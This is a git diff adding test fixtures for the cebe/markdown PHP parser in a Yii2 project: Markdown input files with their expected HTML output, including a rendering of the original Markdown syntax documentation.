b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_strong_and_em_together.html @@ -0,0 +1,4 @@ +

    This is strong and em.

    +

    So is this word.

    +

    This is strong and em.

    +

    So is this word.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_strong_and_em_together.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_strong_and_em_together.md new file mode 100644 index 00000000..95ee690d --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_strong_and_em_together.md @@ -0,0 +1,7 @@ +***This is strong and em.*** + +So is ***this*** word. + +___This is strong and em.___ + +So is ___this___ word. diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tabs.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tabs.html new file mode 100644 index 00000000..82110b92 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tabs.html @@ -0,0 +1,21 @@ +
      +
    • this is a list item +indented with tabs

      +
    • +
    • this is a list item +indented with spaces

      +
    • +
    +

    Code:

    +
    this code block is indented by one tab
    +
    +

    And:

    +
    	this code block is indented by two tabs
    +
    +

    And:

    +
    +	this is an example list item
    +	indented with tabs
    +
    ++   this is an example list item
    +    indented with spaces
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tabs.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tabs.md new file mode 100644 index 00000000..589d1136 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tabs.md @@ -0,0 +1,21 @@ ++ this is a list item + indented with tabs + ++ this is a list item + indented with spaces + +Code: + + this code block is indented by one tab + +And: + + this code block is indented by two tabs + +And: + + + this is an example list item + indented with tabs + + + this is an example list item + indented with spaces diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tidyness.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tidyness.html new file mode 100644 index 00000000..564644df --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tidyness.html @@ -0,0 +1,7 @@ +

    A list within a blockquote:

    +
      +
    • asterisk 1
    • +
    • asterisk 2
    • +
    • asterisk 3
    • +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tidyness.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tidyness.md new file mode 100644 index 00000000..5f18b8da --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_tidyness.md @@ -0,0 +1,5 @@ +> A list within a blockquote: +> +> * asterisk 1 +> * asterisk 2 +> * asterisk 3 diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/nested-lists.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/nested-lists.html new file mode 100644 index 00000000..aa00cd56 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/nested-lists.html @@ -0,0 +1,79 @@ +
      +
    • list1
    • +
    • list2
    • +
    • list3
    • +
    +
    +
      +
    • list1
        +
      • list2
      • +
      +
    • +
    • list3
    • +
    +
    +
      +
    • list1
    • +
    • list2
    • +
    • list3
    • +
    +
    +
      +
    • list1
        +
      • list2
      • +
      +
    • +
    • list3
    • +
    +
    +
      +
    • list1
    • +
    • list2
    • +
    • list3
    • +
    +
    +
      +
    • list1
        +
      • list2
      • +
      +
    • +
    • list3
    • +
    +
    +
      +
    • list1
    • +
    • list2
    • +
    • list3
    • +
    +
    +
      +
    • list1
        +
      • list2
      • +
      +
    • +
    • list3
    • +
    +
    +
      +
    1. li

      +
    2. +
    3. li

      +
        +
      • li
      • +
      • li
      • +
      +
    4. +
    5. li

      +
    6. +
    +
    +
      +
    1. li
    2. +
    3. li
        +
      • li
      • +
      • li
      • +
      +
    4. +
    5. li
    6. +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/nested-lists.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/nested-lists.md new file mode 100644 index 00000000..f143099a --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/nested-lists.md @@ -0,0 +1,66 @@ +- list1 + - list2 +- list3 + +------ + +- list1 + - list2 +- list3 + +------ + + - list1 + - list2 + - list3 + +------ + + - list1 + - list2 + - list3 + +------ + + - list1 + - list2 + - list3 + +------ + + - list1 + - list2 + - list3 + +------ + + - list1 + - list2 + - list3 + +------ + + - list1 + - list2 + - list3 + +------ + +1. li + +2. li + + - li + - li + +3. li + +------ + +1. li +2. li + - li + - li +3. li + +------ diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/newline.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/newline.html new file mode 100644 index 00000000..96303f2c --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/newline.html @@ -0,0 +1,3 @@ +

    This is a paragraph with a newline
    +next line

    +

    next par

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/newline.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/newline.md new file mode 100644 index 00000000..26b4354f --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/newline.md @@ -0,0 +1,4 @@ +This is a paragraph with a newline +next line + +next par diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/paragraph.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/paragraph.html new file mode 100644 index 00000000..6cd6d65d --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/paragraph.html @@ -0,0 +1,3 @@ +

    paragraph1 word2

    +

    paragraph2 word2 word3 +paragraph2 line2

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/paragraph.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/paragraph.md new file mode 100644 index 00000000..174c30e7 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/paragraph.md @@ -0,0 +1,4 @@ +paragraph1 word2 + +paragraph2 word2 word3 +paragraph2 line2 \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/references.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/references.html new file mode 100644 index 00000000..c6a251f7 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/references.html @@ -0,0 +1,9 @@ +

    In the following example we will im[ple]ment support for fenced code blocks which are part +of the github flavored markdown.

    +

    hey, check this.

    +

    ref on end of line this +next line.

    +

    this is a multi +line reference.

    +

    this is a Link +with reference.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/references.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/references.md new file mode 100644 index 00000000..5a8b0158 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/references.md @@ -0,0 +1,23 @@ +In the following example we will im[ple]ment support for [fenced code blocks][] which are part +of the [github flavored markdown][gfm]. + +[fenced code blocks]: https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks + "Fenced code block feature of github flavored markdown" +[gfm]: https://github.com +[unused]: https://github.com/unused + +hey, check [this]. + +[this]: https://github.com/cebe/markdown + +ref on end of line [this] +next line. + +this is a [multi +line] reference. + +this is a [Link +with][multi +line] reference. + +[multi line]: http://example.com diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/specs.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/specs.html new file mode 100644 index 00000000..275027ba --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/specs.html @@ -0,0 +1,717 @@ +

    Markdown: Syntax

    + + +

    Note: This document is itself written using Markdown; you +can see the source for it by adding '.text' to the URL.

    +
    +

    Overview

    +

    Philosophy

    +

    Markdown is intended to be as easy-to-read and easy-to-write as is feasible.

    +

    Readability, however, is emphasized above all else. A Markdown-formatted +document should be publishable as-is, as plain text, without looking +like it's been marked up with tags or formatting instructions. While +Markdown's syntax has been influenced by several existing text-to-HTML +filters -- including Setext, atx, Textile, reStructuredText, +Grutatext, and EtText -- the single biggest source of +inspiration for Markdown's syntax is the format of plain text email.

    +

    To this end, Markdown's syntax is comprised entirely of punctuation +characters, which punctuation characters have been carefully chosen so +as to look like what they mean. E.g., asterisks around a word actually +look like *emphasis*. Markdown lists look like, well, lists. Even +blockquotes look like quoted passages of text, assuming you've ever +used email.

    +

    Inline HTML

    +

    Markdown's syntax is intended for one purpose: to be used as a +format for writing for the web.

    +

    Markdown is not a replacement for HTML, or even close to it. Its +syntax is very small, corresponding only to a very small subset of +HTML tags. The idea is not to create a syntax that makes it easier +to insert HTML tags. In my opinion, HTML tags are already easy to +insert. The idea for Markdown is to make it easy to read, write, and +edit prose. HTML is a publishing format; Markdown is a writing +format. Thus, Markdown's formatting syntax only addresses issues that +can be conveyed in plain text.

    +

    For any markup that is not covered by Markdown's syntax, you simply +use HTML itself. There's no need to preface it or delimit it to +indicate that you're switching from Markdown to HTML; you just use +the tags.

    +

    The only restrictions are that block-level HTML elements -- e.g. <div>, +<table>, <pre>, <p>, etc. -- must be separated from surrounding +content by blank lines, and the start and end tags of the block should +not be indented with tabs or spaces. Markdown is smart enough not +to add extra (unwanted) <p> tags around HTML block-level tags.

    +

    For example, to add an HTML table to a Markdown article:

    +
    This is a regular paragraph.
    +
    +<table>
    +    <tr>
    +        <td>Foo</td>
    +    </tr>
    +</table>
    +
    +This is another regular paragraph.
    +
    +

    Note that Markdown formatting syntax is not processed within block-level +HTML tags. E.g., you can't use Markdown-style *emphasis* inside an +HTML block.

    +

    Span-level HTML tags -- e.g. <span>, <cite>, or <del> -- can be +used anywhere in a Markdown paragraph, list item, or header. If you +want, you can even use HTML tags instead of Markdown formatting; e.g. if +you'd prefer to use HTML <a> or <img> tags instead of Markdown's +link or image syntax, go right ahead.

    +

    Unlike block-level HTML tags, Markdown syntax is processed within +span-level tags.

    +

    Automatic Escaping for Special Characters

    +

    In HTML, there are two characters that demand special treatment: < +and &. Left angle brackets are used to start tags; ampersands are +used to denote HTML entities. If you want to use them as literal +characters, you must escape them as entities, e.g. &lt;, and +&amp;.

    +

    Ampersands in particular are bedeviling for web writers. If you want to +write about 'AT&T', you need to write 'AT&amp;T'. You even need to +escape ampersands within URLs. Thus, if you want to link to:

    +
    http://images.google.com/images?num=30&q=larry+bird
    +
    +

    you need to encode the URL as:

    +
    http://images.google.com/images?num=30&amp;q=larry+bird
    +
    +

    in your anchor tag href attribute. Needless to say, this is easy to +forget, and is probably the single most common source of HTML validation +errors in otherwise well-marked-up web sites.

    +

    Markdown allows you to use these characters naturally, taking care of +all the necessary escaping for you. If you use an ampersand as part of +an HTML entity, it remains unchanged; otherwise it will be translated +into &amp;.

    +

    So, if you want to include a copyright symbol in your article, you can write:

    +
    &copy;
    +
    +

    and Markdown will leave it alone. But if you write:

    +
    AT&T
    +
    +

    Markdown will translate it to:

    +
    AT&amp;T
    +
    +

    Similarly, because Markdown supports inline HTML, if you use +angle brackets as delimiters for HTML tags, Markdown will treat them as +such. But if you write:

    +
    4 < 5
    +
    +

    Markdown will translate it to:

    +
    4 &lt; 5
    +
    +

    However, inside Markdown code spans and blocks, angle brackets and +ampersands are always encoded automatically. This makes it easy to use +Markdown to write about HTML code. (As opposed to raw HTML, which is a +terrible format for writing about HTML syntax, because every single < +and & in your example code needs to be escaped.)

    +
    +

    Block Elements

    +

    Paragraphs and Line Breaks

    +

    A paragraph is simply one or more consecutive lines of text, separated +by one or more blank lines. (A blank line is any line that looks like a +blank line -- a line containing nothing but spaces or tabs is considered +blank.) Normal paragraphs should not be indented with spaces or tabs.

    +

    The implication of the "one or more consecutive lines of text" rule is +that Markdown supports "hard-wrapped" text paragraphs. This differs +significantly from most other text-to-HTML formatters (including Movable +Type's "Convert Line Breaks" option) which translate every line break +character in a paragraph into a <br /> tag.

    +

    When you do want to insert a <br /> break tag using Markdown, you +end a line with two or more spaces, then type return.

    +

    Yes, this takes a tad more effort to create a <br />, but a simplistic +"every line break is a <br />" rule wouldn't work for Markdown. +Markdown's email-style blockquoting and multi-paragraph list items +work best -- and look better -- when you format them with hard breaks.

    + +

    Markdown supports two styles of headers, Setext and atx.

    +

    Setext-style headers are "underlined" using equal signs (for first-level +headers) and dashes (for second-level headers). For example:

    +
    This is an H1
    +=============
    +
    +This is an H2
    +-------------
    +
    +

    Any number of underlining ='s or -'s will work.

    +

    Atx-style headers use 1-6 hash characters at the start of the line, +corresponding to header levels 1-6. For example:

    +
    # This is an H1
    +
    +## This is an H2
    +
    +###### This is an H6
    +
    +

    Optionally, you may "close" atx-style headers. This is purely +cosmetic -- you can use this if you think it looks better. The +closing hashes don't even need to match the number of hashes +used to open the header. (The number of opening hashes +determines the header level.) :

    +
    # This is an H1 #
    +
    +## This is an H2 ##
    +
    +### This is an H3 ######
    +
    +

    Blockquotes

    +

    Markdown uses email-style > characters for blockquoting. If you're +familiar with quoting passages of text in an email message, then you +know how to create a blockquote in Markdown. It looks best if you hard +wrap the text and put a > before every line:

    +
    > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
    +> consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
    +> Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
    +>
    +> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
    +> id sem consectetuer libero luctus adipiscing.
    +
    +

    Markdown allows you to be lazy and only put the > before the first +line of a hard-wrapped paragraph:

    +
    > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
    +consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
    +Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
    +
    +> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
    +id sem consectetuer libero luctus adipiscing.
    +
    +

    Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by +adding additional levels of >:

    +
    > This is the first level of quoting.
    +>
    +> > This is nested blockquote.
    +>
    +> Back to the first level.
    +
    +

    Blockquotes can contain other Markdown elements, including headers, lists, +and code blocks:

    +
    > ## This is a header.
    +>
    +> 1.   This is the first list item.
    +> 2.   This is the second list item.
    +>
    +> Here's some example code:
    +>
    +>     return shell_exec("echo $input | $markdown_script");
    +
    +

    Any decent text editor should make email-style quoting easy. For +example, with BBEdit, you can make a selection and choose Increase +Quote Level from the Text menu.

    +

    Lists

    +

    Markdown supports ordered (numbered) and unordered (bulleted) lists.

    +

    Unordered lists use asterisks, pluses, and hyphens -- interchangably +-- as list markers:

    +
    *   Red
    +*   Green
    +*   Blue
    +
    +

    is equivalent to:

    +
    +   Red
    ++   Green
    ++   Blue
    +
    +

    and:

    +
    -   Red
    +-   Green
    +-   Blue
    +
    +

    Ordered lists use numbers followed by periods:

    +
    1.  Bird
    +2.  McHale
    +3.  Parish
    +
    +

    It's important to note that the actual numbers you use to mark the +list have no effect on the HTML output Markdown produces. The HTML +Markdown produces from the above list is:

    +
    <ol>
    +<li>Bird</li>
    +<li>McHale</li>
    +<li>Parish</li>
    +</ol>
    +
    +

    If you instead wrote the list in Markdown like this:

    +
    1.  Bird
    +1.  McHale
    +1.  Parish
    +
    +

    or even:

    +
    3. Bird
    +1. McHale
    +8. Parish
    +
    +

    you'd get the exact same HTML output. The point is, if you want to, +you can use ordinal numbers in your ordered Markdown lists, so that +the numbers in your source match the numbers in your published HTML. +But if you want to be lazy, you don't have to.

    +

    If you do use lazy list numbering, however, you should still start the +list with the number 1. At some point in the future, Markdown may support +starting ordered lists at an arbitrary number.

    +

    List markers typically start at the left margin, but may be indented by +up to three spaces. List markers must be followed by one or more spaces +or a tab.

    +

    To make lists look nice, you can wrap items with hanging indents:

    +
    *   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
    +    Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
    +    viverra nec, fringilla in, laoreet vitae, risus.
    +*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
    +    Suspendisse id sem consectetuer libero luctus adipiscing.
    +
    +

    But if you want to be lazy, you don't have to:

    +
    *   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
    +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
    +viverra nec, fringilla in, laoreet vitae, risus.
    +*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
    +Suspendisse id sem consectetuer libero luctus adipiscing.
    +
    +

    If list items are separated by blank lines, Markdown will wrap the +items in <p> tags in the HTML output. For example, this input:

    +
    *   Bird
    +*   Magic
    +
    +

    will turn into:

    +
    <ul>
    +<li>Bird</li>
    +<li>Magic</li>
    +</ul>
    +
    +

    But this:

    +
    *   Bird
    +
    +*   Magic
    +
    +

    will turn into:

    +
    <ul>
    +<li><p>Bird</p></li>
    +<li><p>Magic</p></li>
    +</ul>
    +
    +

    List items may consist of multiple paragraphs. Each subsequent +paragraph in a list item must be indented by either 4 spaces +or one tab:

    +
    1.  This is a list item with two paragraphs. Lorem ipsum dolor
    +    sit amet, consectetuer adipiscing elit. Aliquam hendrerit
    +    mi posuere lectus.
    +
    +    Vestibulum enim wisi, viverra nec, fringilla in, laoreet
    +    vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
    +    sit amet velit.
    +
    +2.  Suspendisse id sem consectetuer libero luctus adipiscing.
    +
    +

    It looks nice if you indent every line of the subsequent +paragraphs, but here again, Markdown will allow you to be +lazy:

    +
    *   This is a list item with two paragraphs.
    +
    +    This is the second paragraph in the list item. You're
    +only required to indent the first line. Lorem ipsum dolor
    +sit amet, consectetuer adipiscing elit.
    +
    +*   Another item in the same list.
    +
    +

    To put a blockquote within a list item, the blockquote's > +delimiters need to be indented:

    +
    *   A list item with a blockquote:
    +
    +    > This is a blockquote
    +    > inside a list item.
    +
    +

    To put a code block within a list item, the code block needs +to be indented twice -- 8 spaces or two tabs:

    +
    *   A list item with a code block:
    +
    +        <code goes here>
    +
    +

    It's worth noting that it's possible to trigger an ordered list by +accident, by writing something like this:

    +
    1986. What a great season.
    +
    +

    In other words, a number-period-space sequence at the beginning of a +line. To avoid this, you can backslash-escape the period:

    +
    1986\. What a great season.
    +
    +

    Code Blocks

    +

    Pre-formatted code blocks are used for writing about programming or +markup source code. Rather than forming normal paragraphs, the lines +of a code block are interpreted literally. Markdown wraps a code block +in both <pre> and <code> tags.

    +

    To produce a code block in Markdown, simply indent every line of the +block by at least 4 spaces or 1 tab. For example, given this input:

    +
    This is a normal paragraph:
    +
    +    This is a code block.
    +
    +

    Markdown will generate:

    +
    <p>This is a normal paragraph:</p>
    +
    +<pre><code>This is a code block.
    +</code></pre>
    +
    +

    One level of indentation -- 4 spaces or 1 tab -- is removed from each +line of the code block. For example, this:

    +
    Here is an example of AppleScript:
    +
    +    tell application "Foo"
    +        beep
    +    end tell
    +
    +

    will turn into:

    +
    <p>Here is an example of AppleScript:</p>
    +
    +<pre><code>tell application "Foo"
    +    beep
    +end tell
    +</code></pre>
    +
    +

    A code block continues until it reaches a line that is not indented +(or the end of the article).

    +

    Within a code block, ampersands (&) and angle brackets (< and >) +are automatically converted into HTML entities. This makes it very +easy to include example HTML source code using Markdown -- just paste +it and indent it, and Markdown will handle the hassle of encoding the +ampersands and angle brackets. For example, this:

    +
        <div class="footer">
    +        &copy; 2004 Foo Corporation
    +    </div>
    +
    +

    will turn into:

    +
    <pre><code>&lt;div class="footer"&gt;
    +    &amp;copy; 2004 Foo Corporation
    +&lt;/div&gt;
    +</code></pre>
    +
    +

    Regular Markdown syntax is not processed within code blocks. E.g., +asterisks are just literal asterisks within a code block. This means +it's also easy to use Markdown to write about Markdown's own syntax.

    +

    Horizontal Rules

    +

    You can produce a horizontal rule tag (<hr />) by placing three or +more hyphens, asterisks, or underscores on a line by themselves. If you +wish, you may use spaces between the hyphens or asterisks. Each of the +following lines will produce a horizontal rule:

    +
    * * *
    +
    +***
    +
    +*****
    +
    +- - -
    +
    +---------------------------------------
    +
    +_ _ _
    +
    +
    +

    Span Elements

    + +

    Markdown supports two style of links: inline and reference.

    +

    In both styles, the link text is delimited by [square brackets].

    +

    To create an inline link, use a set of regular parentheses immediately +after the link text's closing square bracket. Inside the parentheses, +put the URL where you want the link to point, along with an optional +title for the link, surrounded in quotes. For example:

    +
    This is [an example](http://example.com/ "Title") inline link.
    +
    +[This link](http://example.net/) has no title attribute.
    +
    +

    Will produce:

    +
    <p>This is <a href="http://example.com/" title="Title">
    +an example</a> inline link.</p>
    +
    +<p><a href="http://example.net/">This link</a> has no
    +title attribute.</p>
    +
    +

    If you're referring to a local resource on the same server, you can +use relative paths:

    +
    See my [About](/about/) page for details.
    +
    +

    Reference-style links use a second set of square brackets, inside +which you place a label of your choosing to identify the link:

    +
    This is [an example][id] reference-style link.
    +
    +

    You can optionally use a space to separate the sets of brackets:

    +
    This is [an example] [id] reference-style link.
    +
    +

    Then, anywhere in the document, you define your link label like this, +on a line by itself:

    +
    [id]: http://example.com/  "Optional Title Here"
    +
    +

    That is:

    +
      +
    • Square brackets containing the link identifier (optionally +indented from the left margin using up to three spaces);
    • +
    • followed by a colon;
    • +
    • followed by one or more spaces (or tabs);
    • +
    • followed by the URL for the link;
    • +
    • optionally followed by a title attribute for the link, enclosed +in double or single quotes, or enclosed in parentheses.
    • +
    +

    The following three link definitions are equivalent:

    +
    [foo]: http://example.com/  "Optional Title Here"
    +[foo]: http://example.com/  'Optional Title Here'
    +[foo]: http://example.com/  (Optional Title Here)
    +
    +

    Note: There is a known bug in Markdown.pl 1.0.1 which prevents +single quotes from being used to delimit link titles.

    +

    The link URL may, optionally, be surrounded by angle brackets:

    +
    [id]: <http://example.com/>  "Optional Title Here"
    +
    +

    You can put the title attribute on the next line and use extra spaces +or tabs for padding, which tends to look better with longer URLs:

    +
    [id]: http://example.com/longish/path/to/resource/here
    +    "Optional Title Here"
    +
    +

    Link definitions are only used for creating links during Markdown +processing, and are stripped from your document in the HTML output.

    +

    Link definition names may consist of letters, numbers, spaces, and +punctuation -- but they are not case sensitive. E.g. these two +links:

    +
    [link text][a]
    +[link text][A]
    +
    +

    are equivalent.

    +

    The implicit link name shortcut allows you to omit the name of the +link, in which case the link text itself is used as the name. +Just use an empty set of square brackets -- e.g., to link the word +"Google" to the google.com web site, you could simply write:

    +
    [Google][]
    +
    +

    And then define the link:

    +
    [Google]: http://google.com/
    +
    +

    Because link names may contain spaces, this shortcut even works for +multiple words in the link text:

    +
    Visit [Daring Fireball][] for more information.
    +
    +

    And then define the link:

    +
    [Daring Fireball]: http://daringfireball.net/
    +
    +

    Link definitions can be placed anywhere in your Markdown document. I +tend to put them immediately after each paragraph in which they're +used, but if you want, you can put them all at the end of your +document, sort of like footnotes.

    +

    Here's an example of reference links in action:

    +
    I get 10 times more traffic from [Google] [1] than from
    +[Yahoo] [2] or [MSN] [3].
    +
    +  [1]: http://google.com/        "Google"
    +  [2]: http://search.yahoo.com/  "Yahoo Search"
    +  [3]: http://search.msn.com/    "MSN Search"
    +
    +

    Using the implicit link name shortcut, you could instead write:

    +
    I get 10 times more traffic from [Google][] than from
    +[Yahoo][] or [MSN][].
    +
    +  [google]: http://google.com/        "Google"
    +  [yahoo]:  http://search.yahoo.com/  "Yahoo Search"
    +  [msn]:    http://search.msn.com/    "MSN Search"
    +
    +

    Both of the above examples will produce the following HTML output:

    +
    <p>I get 10 times more traffic from <a href="http://google.com/"
    +title="Google">Google</a> than from
    +<a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a>
    +or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
    +
    +

    For comparison, here is the same paragraph written using +Markdown's inline link style:

    +
    I get 10 times more traffic from [Google](http://google.com/ "Google")
    +than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or
    +[MSN](http://search.msn.com/ "MSN Search").
    +
    +

    The point of reference-style links is not that they're easier to +write. The point is that with reference-style links, your document +source is vastly more readable. Compare the above examples: using +reference-style links, the paragraph itself is only 81 characters +long; with inline-style links, it's 176 characters; and as raw HTML, +it's 234 characters. In the raw HTML, there's more markup than there +is text.

    +

    With Markdown's reference-style links, a source document much more +closely resembles the final output, as rendered in a browser. By +allowing you to move the markup-related metadata out of the paragraph, +you can add links without interrupting the narrative flow of your +prose.

    +

    Emphasis

    +

    Markdown treats asterisks (*) and underscores (_) as indicators of +emphasis. Text wrapped with one * or _ will be wrapped with an +HTML <em> tag; double *'s or _'s will be wrapped with an HTML +<strong> tag. E.g., this input:

    +
    *single asterisks*
    +
    +_single underscores_
    +
    +**double asterisks**
    +
    +__double underscores__
    +
    +

    will produce:

    +
    <em>single asterisks</em>
    +
    +<em>single underscores</em>
    +
    +<strong>double asterisks</strong>
    +
    +<strong>double underscores</strong>
    +
    +

    You can use whichever style you prefer; the lone restriction is that +the same character must be used to open and close an emphasis span.

    +

    Emphasis can be used in the middle of a word:

    +
    un*frigging*believable
    +
    +

    But if you surround an * or _ with spaces, it'll be treated as a +literal asterisk or underscore.

    +

    To produce a literal asterisk or underscore at a position where it +would otherwise be used as an emphasis delimiter, you can backslash +escape it:

    +
    \*this text is surrounded by literal asterisks\*
    +
    +

    Code

    +

    To indicate a span of code, wrap it with backtick quotes (`). +Unlike a pre-formatted code block, a code span indicates code within a +normal paragraph. For example:

    +
    Use the `printf()` function.
    +
    +

    will produce:

    +
    <p>Use the <code>printf()</code> function.</p>
    +
    +

    To include a literal backtick character within a code span, you can use +multiple backticks as the opening and closing delimiters:

    +
    ``There is a literal backtick (`) here.``
    +
    +

    which will produce this:

    +
    <p><code>There is a literal backtick (`) here.</code></p>
    +
    +

    The backtick delimiters surrounding a code span may include spaces -- +one after the opening, one before the closing. This allows you to place +literal backtick characters at the beginning or end of a code span:

    +
    A single backtick in a code span: `` ` ``
    +
    +A backtick-delimited string in a code span: `` `foo` ``
    +
    +

    will produce:

    +
    <p>A single backtick in a code span: <code>`</code></p>
    +
    +<p>A backtick-delimited string in a code span: <code>`foo`</code></p>
    +
    +

    With a code span, ampersands and angle brackets are encoded as HTML +entities automatically, which makes it easy to include example HTML +tags. Markdown will turn this:

    +
    Please don't use any `<blink>` tags.
    +
    +

    into:

    +
    <p>Please don't use any <code>&lt;blink&gt;</code> tags.</p>
    +
    +

    You can write this:

    +
    `&#8212;` is the decimal-encoded equivalent of `&mdash;`.
    +
    +

    to produce:

    +
    <p><code>&amp;#8212;</code> is the decimal-encoded
    +equivalent of <code>&amp;mdash;</code>.</p>
    +
    +

    Images

    +

    Admittedly, it's fairly difficult to devise a "natural" syntax for +placing images into a plain text document format.

    +

    Markdown uses an image syntax that is intended to resemble the syntax +for links, allowing for two styles: inline and reference.

    +

    Inline image syntax looks like this:

    +
    ![Alt text](/path/to/img.jpg)
    +
    +![Alt text](/path/to/img.jpg "Optional title")
    +
    +

    That is:

    +
      +
    • An exclamation mark: !;
    • +
    • followed by a set of square brackets, containing the alt +attribute text for the image;
    • +
    • followed by a set of parentheses, containing the URL or path to +the image, and an optional title attribute enclosed in double +or single quotes.
    • +
    +

    Reference-style image syntax looks like this:

    +
    ![Alt text][id]
    +
    +

    Where "id" is the name of a defined image reference. Image references +are defined using syntax identical to link references:

    +
    [id]: url/to/image  "Optional title attribute"
    +
    +

    As of this writing, Markdown has no syntax for specifying the +dimensions of an image; if this is important to you, you can simply +use regular HTML <img> tags.

    +
    +

    Miscellaneous

    + +

    Markdown supports a shortcut style for creating "automatic" links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this:

    +
    <http://example.com/>
    +
    +

    Markdown will turn this into:

    +
    <a href="http://example.com/">http://example.com/</a>
    +
    +

    Automatic links for email addresses work similarly, except that +Markdown will also perform a bit of randomized decimal and hex +entity-encoding to help obscure your address from address-harvesting +spambots. For example, Markdown will turn this:

    +
    <address@example.com>
    +
    +

    into something like this:

    +
    <a href="&#x6D;&#x61;i&#x6C;&#x74;&#x6F;:&#x61;&#x64;&#x64;&#x72;&#x65;
    +&#115;&#115;&#64;&#101;&#120;&#x61;&#109;&#x70;&#x6C;e&#x2E;&#99;&#111;
    +&#109;">&#x61;&#x64;&#x64;&#x72;&#x65;&#115;&#115;&#64;&#101;&#120;&#x61;
    +&#109;&#x70;&#x6C;e&#x2E;&#99;&#111;&#109;</a>
    +
    +

    which will render in a browser as a clickable link to "address@example.com".

    +

    (This sort of entity-encoding trick will indeed fool many, if not +most, address-harvesting bots, but it definitely won't fool all of +them. It's better than nothing, but an address published in this way +will probably eventually start receiving spam.)

    +

    Backslash Escapes

    +

    Markdown allows you to use backslash escapes to generate literal +characters which would otherwise have special meaning in Markdown's +formatting syntax. For example, if you wanted to surround a word +with literal asterisks (instead of an HTML <em> tag), you can use +backslashes before the asterisks, like this:

    +
    \*literal asterisks\*
    +
    +

    Markdown provides backslash escapes for the following characters:

    +
    \	backslash
    +`	backtick
    +*	asterisk
    +_	underscore
    +{}	curly braces
    +[]	square brackets
    +()	parentheses
    +#	hash mark
    ++	plus sign
    +-	minus sign (hyphen)
    +.	dot
    +!	exclamation mark
    +
